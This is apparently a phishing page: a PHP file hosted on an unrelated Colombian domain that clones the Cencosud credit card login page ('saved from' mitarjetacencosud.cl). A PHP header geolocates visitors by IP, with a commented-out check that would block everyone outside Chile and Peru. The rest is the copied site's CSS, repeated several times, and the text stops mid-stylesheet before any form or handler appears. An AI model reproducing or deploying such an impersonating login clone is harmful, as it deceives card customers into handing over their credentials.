/home/crealab/cntxt.brainware.com.co/index.php
<?php
include 'geoiploc.php';
$ipv = getClientIP();
$country_code = getCountryFromIP($ipv);
if($country_code!='CL' && $country_code!='PE' ){
//die('<html><head><meta http-equiv="Refresh" content="0;url=/cgi-sys/suspendedpage.cgi"></head><body></body></html>');
//exit();
}
function getClientIP(){
foreach (array('HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'REMOTE_ADDR') as $key){
if (array_key_exists($key, $_SERVER) === true){
foreach (explode(',', $_SERVER[$key]) as $IPaddress){
$IPaddress = trim($IPaddress); // Just to be safe
if (filter_var($IPaddress,
FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)
!== false) {
return $IPaddress;
}
}
}
}
}
?>
<!DOCTYPE html>
<!-- saved from url=(0038)https://www.mitarjetacencosud.cl/login -->
<html><head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title data-rh="true"></title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon" href="https://www.mitarjetacencosud.cl/login/static/favicon.ico" alt="favicon de tarjeta cencosud">
<meta name="theme-color" content="#000000">
<meta name="description" content="Tarjetas Cencosud">
<link href="cenco_files/app.5b248c00e14d7cae8e45.css" rel="stylesheet">
<style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
.input-field .inputIcon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
.input-field.digital-emission {
position: relative;
display: flex;
align-items: center;
justify-content: flex-end; }
.input-field.digital-emission .icon-remove {
position: absolute;
right: 16px;
cursor: pointer; }
.input-field.digital-emission .input {
border: 1px solid #cbd4dc;
padding: 0 16px;
width: 100%;
height: 48px;
border-radius: 6px;
color: #416179;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Bold;
outline: 0;
-webkit-transition-duration: .3s;
-moz-transition-duration: .3s;
-ms-transition-duration: .3s;
-o-transition-duration: .3s;
transition-duration: .3s; }
.input-field.digital-emission .input:disabled {
cursor: no-drop;
border: 1px solid #cbd4dc;
opacity: .5; }
.input-field.digital-emission .input.active {
color: #122e43; }
.input-field.digital-emission .input.input--error {
border: 1px solid #ff4858; }
.input-field.digital-emission .input:hover {
border: 1px solid #416179; }
.input-field.digital-emission .input:focus {
border: 1px solid #2d9cdb; }
.input-field.digital-emission label {
color: #788fa0;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Bold;
position: absolute;
left: 16px;
cursor: text;
padding: 0 4px;
transform-origin: 0% 100%;
transition: transform .2s ease-out, color .2s ease-out, -webkit-transform .2s ease-out; }
.input-field.digital-emission label.active {
transform: translateY(-24px) scale(1);
transform-origin: 0 0;
background-color: #ffffff;
font-family: NunitoSans-SemiBold;
color: #2d9cdb;
font-size: 12px;
line-height: 18px; }
.input-field.digital-emission label.filled {
transform: translateY(-24px) scale(1);
transform-origin: 0 0;
background-color: #ffffff;
font-family: NunitoSans-SemiBold;
color: #122e43;
font-size: 12px;
line-height: 18px; }
.input-field.digital-emission label.disabled {
cursor: no-drop;
color: #a0acb6;
opacity: .5; }
.input-field.digital-emission label.input--error {
transform: translateY(-24px) scale(1);
transform-origin: 0 0;
background-color: #ffffff;
font-family: NunitoSans-Regular;
color: #ff4858;
font-size: 12px;
line-height: 18px; }
.input-field.digital-emission label.input--success {
transform: translateY(-24px) scale(1);
transform-origin: 0 0;
background-color: #ffffff;
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 18px; }
.input-field .input__icon {
display: flex;
color: #a0acb6;
cursor: pointer;
position: absolute;
padding-right: 12px; }
.input-captions.digital-emission {
margin-top: 8px;
font-size: 12px;
font-family: NunitoSans-Regular;
line-height: 16px;
display: flex;
justify-content: space-between; }
.input-captions.digital-emission div .captions {
display: flex; }
.input-captions.digital-emission div .captions.input--error {
color: #ff4858; }
.input-captions.digital-emission div .captions.input--success {
color: #04c532; }
.input-captions.digital-emission div .captions img {
margin-right: 8px;
width: 16px;
height: 16px; }
.input-captions.digital-emission .captions--hint {
display: flex;
justify-content: flex-end;
align-items: flex-start;
width: 50%; }
.input-captions.digital-emission .captions--hint span {
color: #a0acb6;
font-size: 12px;
line-height: 16px;
font-family: NunitoSans-Regular; }
.input-captions.digital-emission .captions--hint span.hint--help {
cursor: pointer;
text-decoration: underline; }
.input-captions.digital-emission .captions--hint img {
width: 12px;
height: 12px;
margin-left: 7px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
.container__secondary--card {
background-color: #ffffff;
border: 1px solid #d4e3f2;
border-radius: 6px;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
display: flex;
box-sizing: border-box; }
.container__secondary--card.banner {
flex-direction: row;
width: 522px;
height: 96px; }
@media (max-width: 576px) {
.container__secondary--card.banner {
width: 100%;
height: auto; } }
.container__secondary--card.banner .secondary--card__header {
flex: 0 0 30%;
border-radius: 6px 0 0 6px;
background-size: cover;
background-repeat: no-repeat;
background-position: center; }
@media (max-width: 576px) {
.container__secondary--card.banner .secondary--card__header {
display: none; } }
.container__secondary--card.banner .secondary--card__body {
width: 100%;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0 24px; }
@media (max-width: 576px) {
.container__secondary--card.banner .secondary--card__body {
padding: 16px; } }
.container__secondary--card.banner .secondary--card__body .body__information .information__title {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 20px;
color: #122e43;
margin: 0 0 4px; }
.container__secondary--card.banner .secondary--card__body .body__information .information__subtitle {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 19px;
color: #122e43;
margin: 0; }
.container__secondary--card.banner .secondary--card__body .body__button .button {
width: 118px;
padding: 12px 0;
color: #122e43;
font-size: 16px;
line-height: 24px; }
.container__secondary--card.banner .secondary--card__body .body__button .button .button__content {
font-family: Nunito-SemiBold; }
.container__secondary--card.card {
flex-direction: column;
width: 245px;
height: 285px; }
@media (max-width: 576px) {
.container__secondary--card.card {
width: 100%;
height: auto; } }
.container__secondary--card.card .secondary--card__header {
height: 150px;
background-size: cover;
background-repeat: no-repeat;
background-position: center;
border-radius: 6px 6px 0 0; }
.container__secondary--card.card .secondary--card__body {
display: flex;
flex-direction: column;
padding: 24px; }
@media (max-width: 576px) {
.container__secondary--card.card .secondary--card__body {
padding: 16px; } }
.container__secondary--card.card .secondary--card__body .body__information .information__title {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 20px;
color: #122e43;
margin: 0 0 4px; }
.container__secondary--card.card .secondary--card__body .body__information .information__subtitle {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 19px;
color: #122e43;
margin: 0 0 20px; }
@media (max-width: 576px) {
.container__secondary--card.card .secondary--card__body .body__information .information__subtitle {
margin: 0 0 16px; } }
.container__secondary--card.card .secondary--card__body .body__button .button {
width: 100%;
padding: 12px 0;
color: #122e43;
font-size: 16px;
line-height: 24px; }
.container__secondary--card.card .secondary--card__body .body__button .button .button__content {
font-family: Nunito-SemiBold; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
.steps {
display: flex;
counter-reset: step;
height: 5px;
background-color: #d0e1f1; }
.steps .border__first {
border-top-left-radius: 5px; }
.steps .border__last {
border-top-left-radius: 5px;
border-top-right-radius: 5px; }
.steps .steps__bar--purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.steps .steps__bar--mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.steps .steps__bar--sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.steps .steps__bar--emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.steps .steps__bar--ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
.steps__bar--border {
border-top-left-radius: 5px;
border-top-right-radius: 5px; }
@media (max-width: 727px) {
.steps {
border-radius: 1px; }
.steps div {
border-radius: 1px; }
.steps .border__first {
border-radius: 1px; }
.steps .border__last {
border-radius: 1px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
.stepper__container {
padding: 0; }
.stepper__container .stepper__item {
display: flex;
align-items: center;
margin-bottom: 32px;
position: relative; }
.stepper__container .stepper__item .item__circle {
width: 32px;
height: 32px;
border-radius: 50%;
display: flex;
justify-content: center;
align-items: center;
margin-right: 12px;
font-family: Nunito-Bold;
font-size: 16px;
line-height: 18px;
background-color: #ffffff;
border: 1px solid #c1cbd4;
color: #afbcc7;
z-index: 2; }
.stepper__container .stepper__item .item__circle img {
width: 12px;
height: 12px; }
.stepper__container .stepper__item .item__label {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 20px;
color: #788fa0; }
.stepper__container .stepper__item .item__bar {
width: 2px;
height: 100%;
background-color: #c1cbd4;
position: absolute;
left: 16px;
top: 32px;
z-index: 1; }
.stepper__container .stepper__item--mobile {
display: none; }
.stepper.stepper--default .stepper__container .stepper__item--active .item__circle {
background-color: #ff7a02;
border-color: #ff7a02;
color: #ffffff; }
.stepper.stepper--default .stepper__container .stepper__item--active .item__label {
font-family: Nunito-Bold;
color: #416179; }
.stepper.stepper--default .stepper__container .stepper__item--before .item__circle {
background-color: #ff7a02;
border-color: #ff7a02; }
.stepper.stepper--default .stepper__container .stepper__item--before .item__bar {
background-color: #ff7a02; }
.stepper.stepper--paris .stepper__container .stepper__item--active .item__circle {
background-color: #009ce0;
border-color: #009ce0;
color: #ffffff; }
.stepper.stepper--paris .stepper__container .stepper__item--active .item__label {
font-family: Nunito-Bold;
color: #416179; }
.stepper.stepper--paris .stepper__container .stepper__item--before .item__circle {
background-color: #009ce0;
border-color: #009ce0; }
.stepper.stepper--paris .stepper__container .stepper__item--before .item__bar {
background-color: #009ce0; }
@media (max-width: 727px) {
.stepper__container .stepper__item {
display: none; }
.stepper__container .stepper__item--mobile {
display: flex;
align-items: center; }
.stepper__container .stepper__item--mobile .item__span {
display: flex;
font-family: Nunito-Regular;
font-size: 12px;
line-height: 28px;
color: #788fa0; }
.stepper__container .stepper__item--mobile .item__span .item__current {
font-family: Nunito-Bold;
font-size: 20px;
line-height: 28px;
color: #122e43;
margin-right: 2px; }
.stepper__container .stepper__item--mobile .item__span .item__total {
font-family: Nunito-Bold;
font-size: 20px;
line-height: 28px;
color: #788fa0;
margin-left: 2px; }
.stepper__container .stepper__item--mobile .item__label {
font-family: Nunito-Bold;
font-size: 26px;
line-height: 28px;
color: #122e43;
margin-left: 8px;
padding-left: 8px;
border-left: 1px solid #c1cbd4; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
.tabs {
height: 100%; }
.tabs .tab-list {
display: flex;
margin: 0px;
padding-top: 16px;
font-size: 14px;
line-height: 16px;
font-family: Nunito-Regular;
padding-left: 76px; }
.tabs .tab-list .tab-list-item {
display: block;
position: relative;
padding: 16px 24px;
color: #6e7f8d;
cursor: pointer; }
.tabs .tab-list .tab-list-active {
font-family: Nunito-Bold;
background: #ffffff;
color: #122e43;
box-shadow: 0px 2px 4px rgba(40, 41, 61, 0.04), 0px 8px 16px rgba(96, 97, 112, 0.16);
border-radius: 4px 4px 0px 0px; }
.tabs .content {
padding-right: 5px;
background-color: #ffffff;
border-bottom-right-radius: 10px;
border-bottom-left-radius: 10px; }
.tabs .content .tab-content {
position: relative;
background: #ffffff;
padding: 32px 70px 32px 75px;
font-family: Nunito-Regular;
height: 522px;
border-bottom-left-radius: 10px;
overflow: scroll;
overflow-x: hidden; }
.tabs .content .tab-content::-webkit-scrollbar {
width: 4px; }
.tabs .content .tab-content::-webkit-scrollbar-track {
background: transparent; }
.tabs .content .tab-content::-webkit-scrollbar-thumb {
border-radius: 30px;
background-clip: padding-box;
background-color: #c1cbd4; }
.tabs .content .tab-content::-webkit-scrollbar-button {
width: 0;
height: 0;
display: none; }
.tabs .content .tab-content::-webkit-scrollbar-corner {
background-color: transparent; }
@media (max-width: 727px) {
.tabs {
height: 100%; }
.tabs .tab-list {
display: flex;
margin: 0px;
padding-left: 16px;
padding-top: 12px;
font-size: 12px;
line-height: 16px; }
.tabs .tab-list .tab-list-item {
display: block;
padding: 10px 16px;
cursor: pointer; }
.tabs .tab-list .tab-list-active {
box-shadow: 0px 0px 2px rgba(40, 41, 62, 0.039), 0px 4px 8px rgba(96, 97, 113, 0.161); }
.tabs .content {
height: 100%; }
.tabs .content .tab-content {
padding: 25px 26px;
font-size: 14px;
line-height: 18px;
height: 85%; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.input-group {
font-family: GothamRounded-Light;
display: flex;
flex-direction: column; }
.input-group .input-form__component {
height: 50px;
border-radius: 10px;
border: #d9d5d5 1px solid;
padding: 0.83rem;
outline: none; }
.input-group .input-form__component.input-form--has-error {
border-color: #FA6400; }
.input-group .input-form__component.input-form--has-error::placeholder {
